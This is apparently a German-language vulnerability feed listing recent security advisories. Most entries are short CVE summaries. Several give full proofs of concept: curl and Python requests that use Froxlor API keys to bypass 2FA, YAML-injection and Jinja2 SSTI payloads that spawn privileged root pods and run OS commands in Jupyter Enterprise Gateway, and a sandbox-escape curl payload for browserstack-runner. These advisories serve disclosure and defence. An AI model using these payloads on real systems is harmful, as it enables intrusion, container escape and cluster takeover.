| Risiko / Label | Veröffentlichung | |
|---|---|---|
| Risiko 7.5 / 10 GHSA-f9rx-7wf7-jr36 | vor 1 Stunde(n) | |
| ## Summary Froxlor's API authentication (`FroxlorRPC::validateAuth`) does not enforce Two-Factor Authentication. When a user (admin or customer) enables 2FA on their account, the web UI correctly requires a TOTP code after password verification. However, the API accepts requests authenticated with only an API key and secret — no TOTP challenge is issued, checked, or required. An attacker who obtains a leaked API key+secret for a 2FA-protected account has full access to all API operations without providing a second factor. ## Affected Code **Web UI — 2FA enforced** (`index.php:82-149`): ```php if ($result['type_2fa'] != 0) { // Redirects to 2FA input page // Calls FroxlorTwoFactorAuth::verifyCode() // Login is NOT completed without valid TOTP code } ``` **API — 2FA absent** (`lib/Froxlor/Api/FroxlorRPC.php:75-105`): ```php private static function validateAuth(string $key, string $secret): bool { $sel_stmt = Database::prepare(" SELECT ak.*, a.api_allowed as admin_api_allowed, c.api_allowed as cust_api_allowed, c.deactivated FROM `api_keys` ak LEFT JOIN `panel_admins` a ON a.adminid = ak.adminid LEFT JOIN `panel_customers` c ON c.customerid = ak.customerid WHERE `apikey` = :ak AND `secret` = :as "); $result = Database::pexecute_first($sel_stmt, ['ak' => $key, 'as' => $secret]); if ($result) { if ($result['apikey'] == $key && $result['secret'] == $secret && ($result['valid_until'] == -1 || $result['valid_until'] >= time()) && (($result['customerid'] == 0 && $result['admin_api_allowed'] == 1) || ($result['customerid'] > 0 && $result['cust_api_allowed'] == 1 && $result['deactivated'] == 0))) { // Checks: key match, secret match, not expired, API allowed, not deactivated // Missing: ANY check for type_2fa, TOTP verification, or 2FA status return true; } } throw new Exception('Invalid authorization credentials', 403); } ``` There are zero references to 2FA, TOTP, `type_2fa`, or `FroxlorTwoFactorAuth` in the entire `lib/Froxlor/Api/` directory: ```bash $ grep -rn '2fa\|totp\|two.factor\|FroxlorTwoFactor' lib/Froxlor/Api/ # (no output) ``` ## PoC ### Environment - Froxlor 2.3.5, clean Docker install (Debian Bookworm, PHP 8.2, Apache 2.4) - API enabled (`api.enabled=1`) - Admin account has 2FA enabled (`type_2fa=1`, TOTP configured) - Admin has an API key ### Step 1: Confirm 2FA blocks web UI login ``` POST /index.php HTTP/1.1 Host: panel.example.com Content-Type: application/x-www-form-urlencoded loginname=admin&password=Admin123!@#&csrf_token=TOKEN&send=send ``` **Result:** Redirect to `index.php?showmessage=4` — 2FA page. Login is NOT completed. The user cannot access the dashboard without entering a TOTP code. ### Step 2: Authenticate via API — no TOTP required ```bash curl -s -u "API_KEY:API_SECRET" \ -H 'Content-Type: application/json' \ -d '{"command":"Customers.listing","params":{}}' \ https://panel.example.com/api.php ``` **Result:** HTTP 200 with full customer listing: ```json { "data": { "list": [ { "loginname": "testcust", "email": "test@froxlor.lab", "name": "Test", "firstname": "Customer" } ] } } ``` No TOTP code was provided. No 2FA prompt was returned. Full access granted. ### Step 3: Access additional sensitive resources All of these succeed without any 2FA challenge: ```bash # Domains curl -s -u "KEY:SECRET" -d '{"command":"Domains.listing"}' .../api.php # FTP accounts (home directories, credentials) curl -s -u "KEY:SECRET" -d '{"command":"Ftps.listing"}' .../api.php # Email accounts curl -s -u "KEY:SECRET" -d '{"command":"Emails.listing"}' .../api.php # MySQL databases curl -s -u "KEY:SECRET" -d '{"command":"Mysqls.listing"}' .../api.php # SSL certificates (private keys) curl -s -u "KEY:SECRET" -d '{"command":"Certificates.listing"}' .../api.php # DNS records curl -s -u "KEY:SECRET" -d '{"command":"DomainZones.listing","params":{"domainname":"example.com"}}' .../api.php ``` 165 API functions are accessible, including write operations (`Customers.update`, `Domains.add`, `Ftps.add`, etc.). ### Automated PoC Script ```python #!/usr/bin/env python3 """Froxlor <= 2.3.x — 2FA Bypass via API (CWE-287)""" import json, sys, requests, urllib3 urllib3.disable_warnings() target, key, secret = sys.argv[1], sys.argv[2], sys.argv[3] r = requests.post(f"{target}/api.php", auth=(key, secret), json={"command": "Customers.listing", "params": {}}, verify=False) data = r.json() print(f"HTTP {r.status_code}") if "data" in data: for c in data["data"].get("list", []): print(f" {c['loginname']} | {c['email']}") print(f"\n2FA-protected account accessed without TOTP. {len(data['data'].get('list',[]))} customers exposed.") ``` Usage: `python3 poc.py https://panel.example.com API_KEY API_SECRET` ## Impact When a user enables 2FA, they expect all access to their account requires a second factor. The API completely bypasses this expectation: - **Customer data**: PII (name, email, address) readable and modifiable - **Domains**: Full control over domains, subdomains, DNS records - **Email accounts**: Create, read, delete email accounts and forwarders - **FTP accounts**: Access home directory paths and credentials - **MySQL databases**: Full database management - **SSL certificates**: Read private keys, modify certificate bindings - **165 API functions**: Including all write operations API keys can be leaked through database backups, log files, config file exposure (GHSA-34qg-65m4-f23m demonstrated DB credential leaks), or compromised automation scripts. Users who enabled 2FA specifically to protect against credential compromise are not protected. ### Comparison with CVE-2023-3173 CVE-2023-3173 ("2FA Bypass by Brute Force") was accepted as **Critical ($60 bounty)** and fixed by adding rate limiting to 2FA verification. This finding is architecturally different — the API authentication path has no 2FA logic at all. No brute force is needed; the second factor is simply never requested. ## Suggested Fix Add 2FA verification to `FroxlorRPC::validateAuth()`. When the authenticated user has `type_2fa != 0`, require a TOTP code as an additional API parameter: ```php // lib/Froxlor/Api/FroxlorRPC.php, after line 100: // Check 2FA if enabled for this user if (!empty($result['adminid'])) { $user = Database::pexecute_first( Database::prepare("SELECT type_2fa, data_2fa FROM panel_admins WHERE adminid = :id"), ['id' => $result['adminid']] ); } else { $user = Database::pexecute_first( Database::prepare("SELECT type_2fa, data_2fa FROM panel_customers WHERE customerid = :id"), ['id' => $result['customerid']] ); } if ($user && $user['type_2fa'] != 0) { // Require X-2FA-Code header or 'totp_code' in request body $totp_code = $_SERVER['HTTP_X_2FA_CODE'] ?? null; if (empty($totp_code)) { throw new Exception('2FA code required', 401); } $tfa = new FroxlorTwoFactorAuth($user['data_2fa']); if (!$tfa->verifyCode($totp_code)) { throw new Exception('Invalid 2FA code', 403); } } ``` Alternatively, disable API key creation for accounts with 2FA enabled, or require 2FA re-verification when generating new API keys. | ||
| Risiko 9.5 / 10 CVE-2026-44182 | vor 2 Stunde(n) | |
| ### Summary The environment variables used during the rendering of the Kubernetes manifest allow YAML injection, enabling attackers to overwrite existing keys like `securityContext` and inject multi-document YAML to create additional unintended Kubernetes resources. ### Details The server interpolates untrusted environment variables (e.g., `KERNEL_XXX`) into Kubernetes manifests without YAML-aware escaping, enabling YAML injection attacks. Attackers can inject new fields, overwrite critical fields (e.g., duplicate `securityContext` keys, where the last one prevails), and inject document boundaries (`---` for new documents, `...` for end-of-document) to generate multiple resources, potentially creating arbitrary kinds like privileged pods. The Jinja2 template for the Kubernetes manifest contains several `kernel_xxx` variables, such as `kernel_working_dir` that are used when rendering the manifest and are all vectors for YAML injection. https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L77 These values come from the environment passed in the API call, where they were `KERNEL_XXX` before being converted to lowercase. https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/launch_kubernetes.py#L130-L137 ### PoC These proof of concepts are injecting in the `KERNEL_WORKING_DIR` env var, but any of the env vars could have been used. By default, the `KERNEL_WORKING_DIR` will be ignored unless `EG_MIRROR_WORKING_DIRS` is truthy for the `enterprise-gateway`. This is controlled by the `mirrorWorkingDirs` value in the Helm chart. Using `ducaale/xh`: ```bash xh http://localhost:31529/api/kernels env:=@env-working-dir-exploit.yaml ``` `env-working-dir-exploit.yaml`: ```json { "KERNEL_POD_NAME": "working-dir-root", "KERNEL_NAMESPACE": "notebooks", "KERNEL_WORKING_DIR": "\"/tmp\\\"\\n\\n# INJECTION\\n securityContext:\\n runAsUser: 0\\n runAsGroup: 0\\n fsGroup: 100\\n# HAHA - stray quote \"" } ``` Resulting request: ``` POST /api/kernels HTTP/1.1 Accept: application/json, */*;q=0.5 Accept-Encoding: gzip, deflate, br, zstd Connection: keep-alive Content-Length: 233 Content-Type: application/json Host: localhost:31529 User-Agent: xh/0.24.0 { "env": { "KERNEL_POD_NAME": "working-dir-root", "KERNEL_NAMESPACE": "notebooks", "KERNEL_WORKING_DIR": "\"/tmp\\\"\\n\\n# INJECTION\\n securityContext:\\n runAsUser: 0\\n runAsGroup: 0\\n fsGroup: 100\\n# HAHA - stray quote \"" } } ``` Curl equivalent command: ```bash curl http://localhost:31529/api/kernels -H 'content-type: application/json' -H 'accept: application/json, */*;q=0.5' -d '{"env":{"KERNEL_POD_NAME":"working-dir-root","KERNEL_NAMESPACE":"notebooks","KERNEL_WORKING_DIR":"\"/tmp\\\"\\n\\n# INJECTION\\n securityContext:\\n runAsUser: 0\\n runAsGroup: 0\\n fsGroup: 100\\n# HAHA - stray quote \""}}' ``` The rendered Jinja2 template: ```yaml # This file defines the Kubernetes objects necessary for kernels to run witihin Kubernetes. # Substitution parameters are processed by the launch_kubernetes.py code located in the # same directory. Some values are factory values, while others (typically prefixed with 'kernel_') can be # provided by the client. # # This file can be customized as needed. No changes are required to launch_kubernetes.py provided kernel_ # values are used - which be automatically set from corresponding KERNEL_ env values. Updates will be required # to launch_kubernetes.py if new document sections (i.e., new k8s 'kind' objects) are introduced. # apiVersion: v1 kind: Pod metadata: name: "working-dir-root" namespace: "notebooks" labels: kernel_id: "186f4ecf-bf90-40b8-b210-a0987bfce927" app: enterprise-gateway component: kernel source: kernel-pod.yaml annotations: cluster-autoscaler.kubernetes.io/safe-to-evict: "false" spec: restartPolicy: Never serviceAccountName: "default" # NOTE: that using runAsGroup requires that feature-gate RunAsGroup be enabled. # WARNING: Only using runAsUser w/o runAsGroup or NOT enabling the RunAsGroup feature-gate # will result in the new kernel pod's effective group of 0 (root)! although the user will # correspond to the runAsUser value. As a result, BOTH should be uncommented AND the feature-gate # should be enabled to ensure expected behavior. In addition, 'fsGroup: 100' is recommended so # that /home/jovyan can be written to via the 'users' group (gid: 100) irrespective of the # "kernel_uid" and "kernel_gid" values. securityContext: runAsUser: 1000 runAsGroup: 100 fsGroup: 100 containers: - image: "elyra/kernel-py:3.2.3" name: "working-dir-root" env: # Add any custom envs here that aren't already configured for the kernel's environment # - name: MY_CUSTOM_ENV # value: "my_custom_value" workingDir: "/tmp" # INJECTION securityContext: runAsUser: 0 runAsGroup: 0 fsGroup: 100 # HAHA - stray quote " volumeMounts: # Define any "unconditional" mounts here, followed by "conditional" mounts that vary per client volumes: # Define any "unconditional" volumes here, followed by "conditional" volumes that vary per client ``` Normally the container would run as `uid=1000(jovyan) gid=100(users) groups=100(users)`. This injects a pod `securityContext` with `runAsUser: 0` and `runAsGroup: 0` (and `fsGroup: 100`). The processing of the YAML results in the duplicate key clobbering the original. Making the container run as `uid=0(root) gid=0(root) groups=0(root),100(users)`. In addition to injecting a pod level `securityContext` it is also possible to inject a container level `securityContext` which supports the `privileged` field. #### Injecting a Pod By injecting `...` and `---` it is possible to use multi-document YAML to inject Kubernetes resources. ```bash xh http://localhost:31529/api/kernels env:=@env-working-dir-exploit-pod.yaml ``` `env-working-dir-exploit-pod.yaml`: ```json { "KERNEL_POD_NAME": "working-dir-root-pod", "KERNEL_NAMESPACE": "notebooks", "KERNEL_WORKING_DIR": "\"/tmp\\\"\\n\\n# INJECTION\\n...\\n---\\napiVersion: v1\\nkind: Pod\\nmetadata:\\n name: injected-pod\\n\\\n spec:\\n containers:\\n - name: injected-container\\n image: nginx\\n ports:\\n - containerPort: 80\\n securityContext:\\n privileged: true\\n runAsUser: 0\\n runAsGroup: 0\\n...\\n# HAHA - stray quote\"" } ``` This is rendered as (skipping the beginning of the rendering before the inject): ```yaml workingDir: "/tmp" # INJECTION ... --- apiVersion: v1 kind: Pod metadata: name: injected-pod spec: containers: - name: injected-container image: nginx ports: - containerPort: 80 securityContext: privileged: true runAsUser: 0 runAsGroup: 0 ... # HAHA - stray quote" volumeMounts: # Define any "unconditional" mounts here, followed by "conditional" mounts that vary per client volumes: # Define any "unconditional" volumes here, followed by "conditional" volumes that vary per client ``` `kubectl get pods -n notebooks` ``` NAME READY STATUS RESTARTS AGE injected-pod 1/1 Running 0 4s working-dir-root-pod 1/1 Running 0 4s ``` The `injected-pod` has been created in addition to the `working-dir-root-pod`. `kubectl get pod/injected-pod -o yaml -n notebooks -o jsonpath='{.spec.containers[*].securityContext}'`: ```json { "privileged": true, "runAsGroup": 0, "runAsUser": 0 } ``` ### Impact An attacker can create pods running with arbitrary, `image`, `securityContext`, and `volumeMounts` including `hostPath` mounts. Privileged pods can be created. Arbitrary Kubernetes resources of kinds: `Pod`, `Secret`, `PersistentVolumeClaim`, `PersistentVolume`, `Service`, and `ConfigMap` can be created. Repeated exploitation can compromise all worker nodes, and thus the entire Kubernetes cluster. Multiple container escape vectors exist. It is possible to create privileged pods which could load kernel modules to compromise the host. It is also possible to specify volume mounts, so another vector for a container escape is to use a `hostPath` R/W volume mount, use the injected `securityContext` to run as `root`, and then gain code execution in the underlying worker node by creating a crontab entry in the mounted host file system. | ||
| Risiko 9.5 / 10 CVE-2026-44181 | vor 2 Stunde(n) | |
| ### Summary The environment variables (`KERNEL_XXX`) used during the rendering of the Kubernetes manifest are vulnerable to Server Side Template Injection (SSTI). By including Jinja2 template expressions it is possible to execution Python code and OS Commands in the Enterprise Gateway service. The code can use or steal the Kubernetes service account token, which can steal Kubernetes secrets and be used to fully compromise the Kubernetes cluster by scheduling a privileged pod or a pod with a `hostPath` volume mount. ### Details The `KERNEL_POD_NAME` variable is rendered using Jinja2, allowing for code execution via template expression statements, in this code: https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/k8s.py#L219-L247 The Jinja2 template for the Kubernetes manifest contains several `kernel_xxx` variables, in addition to `kernel_pod_name` discussed above, such as `kernel_working_dir` that are used when rendering the manifest and are all vectors for SSTI. https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L77 These values come from the environment passed in the API call, where they were `KERNEL_XXX` before being converted to lowercase. https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/launch_kubernetes.py#L130-L137 ### PoC #### Simple demonstration of SSTI using `{{7 * 7}}` ```bash curl http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels --data '{"name":"python_kubernetes", "env": {"KERNEL_POD_NAME": "bdawg-{{7 * 7}}" }}' ``` ```json {"id": "1094076f-35c6-48a5-ae60-0c943bb97a9a", "name": "python_kubernetes", "last_activity": "2025-07-17T07:14:42.155736Z", "execution_state": "starting", "connections": 0} ``` Running `kubectl get pods` ``` NAME READY STATUS RESTARTS AGE bdawg-49 1/1 Running 0 3m54s ``` #### Remote code execution - OS Commands via SSTI ```bash curl http://enterprise-gateway.notebooks.svc.cluster.local:8888/api/kernels --data '{"name":"python_kubernetes", "env": {"KERNEL_POD_NAME": "bdawg-{{ cycler.__init__.__globals__.os.popen(\"hostname\").read() }}", "KERNEL_NAMESPACE": "notebooks" }}' ``` ```json {"id": "85ec9431-d005-48d5-8127-5f022f2c5780", "name": "python_kubernetes", "last_activity": "2025-07-17T07 ``` ``` NAME READY STATUS RESTARTS AGE bdawg-enterprise-gateway-8695685bc8-klm4m 1/1 Running 0 2m25s ``` `enterprise-gateway-8695685bc8-klm4m` is the hostname of the Enterprise Gateway pod. #### Enterprise Gateway RBAC The Enterprise Gateway service account has R/W access to several resource kinds. Stolen Enterprise Gateway service account `kubectl auth can-i --list` ``` Resources Non-Resource URLs Resource Names Verbs selfsubjectreviews.authentication.k8s.io [] [] [create] selfsubjectaccessreviews.authorization.k8s.io [] [] [create] selfsubjectrulesreviews.authorization.k8s.io [] [] [create] rolebindings.rbac.authorization.k8s.io [] [] [get list create delete] configmaps [] [] [get watch list create delete] namespaces [] [] [get watch list create delete] persistentvolumeclaims [] [] [get watch list create delete] persistentvolumes [] [] [get watch list create delete] pods [] [] [get watch list create delete] secrets [] [] [get watch list create delete] services [] [] [get watch list create delete] scheduledsparkapplications.sparkoperator.k8s.io/status [] [] [get watch list create delete] scheduledsparkapplications.sparkoperator.k8s.io [] [] [get watch list create delete] sparkapplications.sparkoperator.k8s.io/status [] [] [get watch list create delete] sparkapplications.sparkoperator.k8s.io [] [] [get watch list create delete] [/.well-known/openid-configuration/] [] [get] [/.well-known/openid-configuration] [] [get] [/api/*] [] [get] [/api] [] [get] [/apis/*] [] [get] [/apis] [] [get] [/healthz] [] [get] [/healthz] [] [get] [/livez] [] [get] [/livez] [] [get] [/openapi/*] [] [get] [/openapi] [] [get] [/openid/v1/jwks/] [] [get] [/openid/v1/jwks] [] [get] [/readyz] [] [get] [/readyz] [] [get] [/version/] [] [get] [/version/] [] [get] [/version] [] [get] [/version] [] [get] ``` ### Impact This is a server side template injection that leads to remote code execution (python and OS commands). An attacker can get remote code execution in the Enterprise Gateway pod and steal its Kubernetes service account's token. It can use the privileges to spy on and interfere with other Jupyter kernel, read, write, or delete configuration maps, read secrets, access persistent storage, privileged pods, or create pods with `hostPath` mounts, which can be used to compromise the complete cluster and all workloads on it. | ||
| Risiko 7.5 / 10 CVE-2026-44609 | vor 3 Stunde(n) | |
| Local privilege escalation due to EXE hijacking vulnerability. The following products are affected: Acronis DeviceLock DLP (Windows) before build 9.0.15051.93227. | ||
| Risiko 7.5 / 10 CVE-2026-50033 | vor 3 Stunde(n) | |
| Local privilege escalation due to DLL hijacking vulnerability. The following products are affected: Acronis DeviceLock DLP (Windows) before build 9.0.15051.93227. | ||
| Risiko 7.5 / 10 CVE-2026-44682 | vor 3 Stunde(n) | |
| Local privilege escalation due to DLL hijacking vulnerability. The following products are affected: Acronis DeviceLock DLP (Windows) before build 9.0.15051.93227. | ||
| Risiko 7.5 / 10 CVE-2026-42061 | vor 3 Stunde(n) | |
| Local privilege escalation due to excessive permissions assigned to child processes. The following products are affected: Acronis DeviceLock DLP (Windows) before build 9.0.15051.93227. | ||
| Risiko ? / 10 CVE-2026-37700 | vor 3 Stunde(n) | |
| Cross Site Scripting vulnerability in MaxSite CMS v.109.2 allows a remote attacker to obtain sensitive information via the Backend page file upload endpoint used by admin_page | ||
| Risiko 2 / 10 CVE-2026-10766 | vor 3 Stunde(n) | |
| A vulnerability has been found in mlrun up to 1.12.0-rc3. This impacts the function mlrun.utils.helpers.calculate_dataframe_hash of the file mlrun/utils/helpers.py of the component DataFrame Hash Handler. The manipulation leads to use of weak hash. The attack can only be performed from a local environment. The complexity of an attack is rather high. The exploitability is said to be difficult. The exploit has been disclosed to the public and may be used. The pull request to fix this issue awaits acceptance. | ||
| Risiko ? / 10 CVE-2026-26824 | vor 3 Stunde(n) | |
| libxls through version 1.6.3 contains a use of uninitialized memory vulnerability in the OLE container parser. Memory allocated for the Master Sector Allocation Table (MSAT) in read_MSAT() is not fully initialized before being consumed by ole2_validate_sector_chain(), which may result in application crashes or potential information disclosure when processing a crafted XLS file | ||
| Risiko ? / 10 CVE-2026-26825 | vor 3 Stunde(n) | |
| A use-of-uninitialized memory vulnerability exists in libxls 1.6.3 when parsing malformed XLS files. The issue is reachable via xls_parseWorkBook() and is triggered by uninitialized heap memory originating from the OLE layer (ole2_read). The flaw is detectable with MemorySanitizer (MSAN) and can lead to undefined behavior, incorrect parsing logic, or potential information disclosure. | ||
| Risiko ? / 10 CVE-2026-8878 | vor 4 Stunde(n) | |
| Version 3.0.7 of the Securly Chrome Extension exposes multiple publicly accessible endpoints that allow unauthenticated access to sensitive data. The exposed information consists of SHA-1 hashes that are inadequately obfuscated using a simple Caesar cipher, which can be easily reversed to recover the original hash values and access the protected data. | ||
| Risiko ? / 10 CVE-2026-8876 | vor 4 Stunde(n) | |
| Version 3.0.7 of the Securly Chrome Extension contains hardcoded, plaintext AES passphrases in securly.min.js. These keys decrypt crisis alert keyword data and intervention site data. | ||
| Risiko ? / 10 CVE-2026-8881 | vor 4 Stunde(n) | |
| Version 3.0.7 of the Securly Chrome Extension uses EVP_BytesToKey key derivation with MD5 and a single iteration for AES encryption. MD5 has been broken since 2004 and a single iteration provides no key stretching. | ||
| Risiko ? / 10 CVE-2026-8879 | vor 4 Stunde(n) | |
| Version 3.0.7 of the Securly Chrome Extension dynamically registers content13.min.js as a content script via chrome.scripting.registerContentScripts() at runtime. This script is NOT declared in manifest.json and bypasses Chrome Web Store static security review. It runs on all URLs and immediately hides all page content, creates a full-page overlay, pauses all videos, and only restores content when the service worker confirms the page passes filtering. If Securly's servers are unreachable, pages remain indefinitely hidden. | ||
| Risiko ? / 10 CVE-2026-8888 | vor 4 Stunde(n) | |
| Version 3.0.7 of the Securly Chrome Extension downloads config.json over HTTP and compiles server-provided patterns as JavaScript regular expressions via new RegExp() without complexity validation. An on-path attacker can inject specific patterns to cause catastrophic backtracking, resulting in denial of service on all browsing. | ||
| Risiko ? / 10 CVE-2026-8889 | vor 4 Stunde(n) | |
| Version 3.0.7 of the Securly Chrome Extension uses deprecated SHA-1 hashing for IWF CSAM URL matching (25,020 hashes) and CIPA blocklist matching (12,352 hashes). | ||
| Risiko ? / 10 CVE-2026-8874 | vor 4 Stunde(n) | |
| Version 3.0.7 of the Securly Chrome Extension downloads JSON files containing crisis alert keywords and filtering rules over unencrypted HTTP via the Fetch API. Other endpoints in the same extension correctly fetch IWF and CIPA data over HTTPS, demonstrating an inconsistent implementation of TLS. | ||
| Risiko 5 / 10 CVE-2026-42840 | vor 4 Stunde(n) | |
| An authenticated user can persist arbitrary HTML/JavaScript in the email_id or mobile_no fields of a Customer record and trigger unescaped rendering in the Point of Sale (POS) interface for every operator who selects that customer. This issue affects ERPNext: 16.16.0. | ||
| Risiko 5 / 10 CVE-2026-42839 | vor 4 Stunde(n) | |
| An authenticated ERPNext user with Item record edit permissions can persist arbitrary HTML/JavaScript in the item_name, description, or image fields of an Item and trigger unescaped rendering in the Point of Sale (POS) cart interface for every operator who adds that item to a transaction.This issue affects ERPNext: 16.16.0. | ||
| Risiko 7.5 / 10 CVE-2026-7888 | vor 4 Stunde(n) | |
| Concrete CMS below 9.5.2 is vulnerable to PHP Object Injection via unserialize() calls in the Workflow, Form block, and File/Set components that lack the allowed_classes restriction. An unauthenticated attacker may trigger arbitrary PHP object instantiation if a malicious serialized payload has been placed in the database. Thanks XananasX7 and Sanjorn Keeratirungsan (dizconnect) for both independently reporting. The Concrete CMS security team gave this vulnerability a CVSS v.4.0 score of 8.4 with vector CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N. | ||
| Risiko 7.5 / 10 CVE-2026-36609 | vor 5 Stunde(n) | |
| Mercusys AC12G (EU) V1 router with firmware AC12G(EU)_V1_200909 uses a static authentication nonce that does not change between requests from the same source IP. Combined with the predictable XOR-based password encoding (securityEncode function), this allows an attacker to reverse captured authentication tokens to recover the plaintext password. | ||
| Risiko 7.5 / 10 CVE-2026-36611 | vor 5 Stunde(n) | |
| Mercusys AC12G (EU) V1 with firmware AC12G(EU)_V1_200909 returns 128 bytes of uninitialized buffer when receiving POST requests without SOAPAction header on UPnP port 1900, exposing internal memory to unauthenticated adjacent network attackers. | ||
| Risiko 5 / 10 CVE-2026-36604 | vor 5 Stunde(n) | |
| Mercusys AC12G (EU) V1 router with firmware AC12G(EU)_V1_200909 does not validate the HTTP Host header, enabling DNS rebinding attacks. An external attacker can rebind a domain to the router's internal IP address, extending the CORS wildcard vulnerability (Access-Control-Allow-Origin: *) to internet-originated attacks. | ||
| Risiko 7.5 / 10 CVE-2026-36606 | vor 5 Stunde(n) | |
| Mercusys AC12G (EU) V1 router with firmware AC12G(EU)_V1_200909 encrypts configuration backups with a hardcoded DES key using single DES in ECB mode. An attacker who obtains a backup file can decrypt it to recover all stored credentials including admin password, WiFi PSK, and DDNS credentials. | ||
| Risiko 7.5 / 10 CVE-2026-49143 | vor 1 Tag(en) | |
| ### Summary The HTTP handler `/_log` in `lib/server.js` (lines 491–515) of browserstack-runner passes unauthenticated user-supplied data to `vm.runInNewContext()` combined with `eval()`, enabling a sandbox escape and arbitrary code execution on the host system. ### Details When `browserstack-runner` starts, it creates an HTTP server on port 8888 (configurable) that listens on all network interfaces (`0.0.0.0`). The `/_log` endpoint accepts POST requests and processes the JSON body as follows: ```javascript // lib/server.js lines 504-510 var context = { input: query.arguments, format: util.format, output: '' }; var tryEvalOrString = 'function (arg) { try { return eval(\'o = \' + arg); } catch (e) { return arg; } }'; vm.runInNewContext('output = format.apply(null, input.map(' + tryEvalOrString + '));', context); ``` The `vm` module is [not a security mechanism](https://nodejs.org/api/vm.html#vm-executing-javascript) per Node.js documentation. The `context` object contains a reference to `util.format` (a host-context Function), enabling sandbox escape via `this.constructor.constructor("return process")()`. Unlike the `_progress` and `_report` handlers which verify worker UUID authentication, the `_log` handler does not gate on authentication. ### Proof of Concept ```bash # Terminal 1: start the runner echo 't' > t.html echo '{"username":"X","key":"X","test_path":"t.html","test_framework":"qunit","browsers":[]}' > browserstack.json node bin/runner.js # Terminal 2: exploit curl -s http://127.0.0.1:8888/_log \ -H "Content-Type: application/json" \ -d '{"arguments":["this.constructor.constructor(\"return process.mainModule.require(\`child_process\`).execSync(\`id\`).toString()\")()"]}' # Terminal 1 output shows: # [undefined] uid=1000(user) gid=1000(user) ... ``` ### Impact An attacker on the same network as a developer running `browserstack-runner` can execute arbitrary commands on the developer's machine without authentication. The attack window exists for the duration of the test run (typically 1–15 minutes). The BrowserStack access key is accessible in the same process context via environment variables. ### Remediation 1. Remove `eval()` and `vm.runInNewContext()` from the `_log` handler — use `JSON.stringify()` for safe logging 2. Add UUID authentication to `_log` (matching `_progress` and `_report` handlers) 3. Bind the HTTP server on `127.0.0.1` instead of `0.0.0.0` ### Credit Christ Bowel Bouchuen | ||
| Risiko 7.5 / 10 CVE-2026-49144 | vor 1 Tag(en) | |
